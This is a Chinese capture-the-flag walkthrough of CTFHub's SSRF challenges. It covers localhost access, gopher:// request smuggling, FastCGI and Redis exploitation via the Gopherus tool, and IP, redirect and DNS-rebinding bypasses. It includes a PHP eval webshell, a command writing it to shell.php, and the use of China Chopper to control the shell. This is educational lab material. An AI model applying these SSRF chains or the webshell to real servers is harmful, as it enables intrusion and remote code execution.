CTFHub---SSRF

CTFHub—SSRF

SSRF 形成的原因往往是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

image-20240724203249876

内网访问

先开环境

image-20240724135943621

?url=http://127.0.0.1/flag.php

image-20240724140025375

伪协议读取文件

开题

image-20240724203339486

伪协议:事实上是其支持的协议与封装协议。而其支持的部分协议有:

    file:// — 访问本地文件系统

    http:// — 访问 HTTP(s) 网址

    ftp:// — 访问 FTP(s) URLs

    php:// — 访问各个输入/输出流(I/O streams)

image-20240724140648237

右键源代码,发现里面被注释掉了

image-20240724140657540

端口扫描

image-20240724203357706

抓包发送到intruder攻击模块

image-20240724141004954

image-20240724141031719

image-20240724141904624

ps:网站无法承载太多请求所以可以修改请求间隔

POST请求

image-20240724150053084

访问flag.php

?url=http://127.0.0.1/flag.php

右键源代码

image-20240724150224469

找到key

复制到输入框抓包

image-20240724150424691

image-20240724150437048

构造请求包把没用的请求删掉

image-20240724150700210

复制请求包进行URL转码(确定每个字符都转码了),随便找一个在线转码网站,只要确定转码完全即可

image-20240724150847256

复制到记事本然后将%0A替换位%0D%0A

image-20240724151046317

然后在后面加上%0D%0A

image-20240724151159722

在进行url编码然后复制进入地址

在线编码网站

image-20240724151232389

复制进地址栏,用gopher://协议

image-20240724151448524

image-20240724151509230

上传文件

image-20240724154912222

访问flag.php

image-20240724154923040

因为这个页面没有提交按钮所以编写代码

image-20240724155029448

image-20240724155109781

image-20240724155201564

选择文件点击提交抓包

image-20240724155948296

image-20240724155955731

URL转码(确定每个字符都转码了),随便找一个在线转码网站,只要确定转码完全即可

image-20240724160029934

复制到txt全部替换在最后再加上%0D%0A

image-20240724160054622

URL转码

image-20240724160206725

image-20240724160755331

注意是:gopher://127.0.0.1:80/_POST

FastCGI协议

image-20240724171435593

步骤一:准备一句话木马并构造要执行的终端命令:对一句话木马进行base64编码且写入到名为shell.php的文件中。

#一句话木马
<?php @eval($_POST['x']);?>

# base64编码后
echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > shell.php

步骤二:使用Gopherus工具生成payload:

# 项目地址
https://github.com/tarunkant/Gopherus.git
# 执行命令
python2 gopherus.py--exploit fastcgi

image-20240724172750697

image-20240724172832308

ps:注意不要多复制空格

步骤三: 将生成的payload再进行第二次编码即可…访问上传

image-20240724195217756

image-20240724195206552

步骤四:使用中国菜刀工具

image-20240724195405612

右键添加,左面写题的网址,右面写cmd

image-20240724195622086

在根目录找到flag

image-20240724195848439

打开就能看见

image-20240724195827363

Redis协议

先开启题目

image-20240724200218216

步骤一:使用Gopherus工具生成payload:

执行命令

python2 gopherus.py --exploit redis 

他问我们想干什么:写PHPShell

image-20240724200617414

然后回车,自己写一句话GET型木马

image-20240724200756852

生成的payload:

image-20240724200859670

步骤二: 将生成的payload再进行第二次编码即可…访问上传…

image-20240724201345621

步骤三:查看shell.php安好没

image-20240724201948583

在shell.php里get传参写入命令

image-20240724203024595

找到文件名后cat 查看内容找到结果

image-20240724203102849

URL Bypass

image-20240724193516785

image-20240724193427646

image-20240724193504316

数字IP Bypass

image-20240724193542171

ban了127和127.可以以localhost,或者16进制

image-20240724193702748

image-20240724193858683

302跳转 Bypass

image-20240724193924506

image-20240724194109954

DNS重绑定 Bypass

image-20240724194208111

利用思路

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的P,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。

步骤一:在解析网站上获取解析到内网IP的域名并作访问即可获取其Flag

再题目附件里有这个网站

image-20240724194640128

image-20240724194721938

复制下生成的到网址后面跟flag.php即可绕过

image-20240724194806980

  • 25
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值